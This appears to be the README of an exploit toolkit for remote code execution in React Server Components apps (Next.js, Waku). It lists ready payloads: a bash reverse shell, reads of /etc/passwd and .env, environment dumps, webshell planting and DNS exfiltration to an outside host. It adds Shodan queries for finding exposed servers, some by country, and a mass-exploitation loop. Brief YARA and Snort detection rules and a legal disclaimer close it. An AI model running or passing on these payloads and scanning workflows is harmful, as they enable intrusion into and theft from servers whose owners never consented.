Attacker → Malicious RSC Payload → Target Server
                                         ↓
                              Unsafe Deserialization
                                         ↓
                              Prototype Chain Access
                                         ↓
                              Function Constructor
                                         ↓
                              ⚠️ RCE ACHIEVED ⚠️

git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

npm install
# or
yarn install

# Install Shodan CLI
pip install shodan

# Initialize with your API key
shodan init YOUR_API_KEY

node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

# Start listener
nc -lvnp 4444

# Execute exploit
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

node rsc-rce-exploit.js [options]

node rsc-rce-exploit.js --list

📋 Available payloads:

  console              - Basic PoC - Console output
    Code: console.log(7*7+1)

  reverseShell         - Reverse shell (bash)
    Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - Read /etc/passwd
    Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - Dump environment variables
    Code: console.log(JSON.stringify(process.env,null,2))

  execCommand          - Execute system command
    Code: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - Write webshell to /tmp
    Code: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - Read package.json
    Code: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS exfiltration
    Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

# Basic Next.js
http.component:"Next.js"

# Next.js with RSC
http.html:"__next" http.html:"RSC"

# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"

# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"

# Geographically targeted (France)
http.component:"Next.js" country:FR

# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

# Waku framework
http.html:"waku" http.html:"RSC"

# Waku RSC endpoints
http.path:"/RSC/"

# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# With custom payload
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

# 1. Search Shodan
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt

# 2. Test each target
while read -r line; do
    ip=$(echo $line | awk '{print $1}')
    port=$(echo $line | awk '{print $2}')
    echo "[*] Testing http://$ip:$port"
    node rsc-rce-exploit.js \
      --target "http://$ip:$port" \
      --payload console
done < targets.txt

# From file
node mass-exploit.js --file targets.txt --payload console --threads 10

# From Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump

# Save results
node mass-exploit.js --file targets.txt --payload console --output results.json

# .github/workflows/security-test.yml
name: RSC Security Test
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console

node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload console

╔═══════════════════════════════════════════════════════════╗
║           RSC RCE Exploit - Enhanced Version              ║
║         React Server Components Code Execution            ║
╚═══════════════════════════════════════════════════════════╝

[*] Starting exploitation...
[*] Targeting Next.js RSC endpoint...
[*] URL: https://vulnerable.example.com
[*] Payload: console.log(7*7+1)...
[+] Response status: 200
[+] Response body:
50
[*] Exploitation complete!

node rsc-rce-exploit.js \
  --target https://api.target.com \
  --payload envDump

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Execute exploit
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload webshell

# Access webshell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"

# Setup Burp Collaborator or your DNS server
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"

node rsc-rce-exploit.js \
  --target https://waku-app.example.com \
  --framework waku \
  --endpoint /RSC/custom.txt \
  --payload execCommand \
  --command "id"

# Read sensitive files
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "console.log(require('fs').readFileSync('.env','utf8'))"

rule RSC_RCE_Exploit {
    strings:
        $s1 = "constructor:constructor"
        $s2 = "_prefix"
        $s3 = "$@"
        $s4 = "resolved_model"
    condition:
        3 of them
}

alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)

⚠️ LEGAL DISCLAIMER ⚠️

This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.

By using this software, you agree to:

1. Only test systems you own or have explicit written permission to test
2. Comply with all applicable local, state, national, and international laws
3. Not use this tool for malicious purposes or illegal activities
4. Accept full responsibility for your actions

The authors and contributors:
- Are NOT responsible for any misuse or damage caused by this tool
- Do NOT encourage or condone illegal activity
- Provide this tool "AS IS" without warranty of any kind

UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.

Violators will be prosecuted to the fullest extent of the law under:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- European Cybercrime Convention
- And other applicable laws in your jurisdiction

USE AT YOUR OWN RISK.

MIT License

Copyright (c) 2024 RSC RCE Exploit Contributors

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.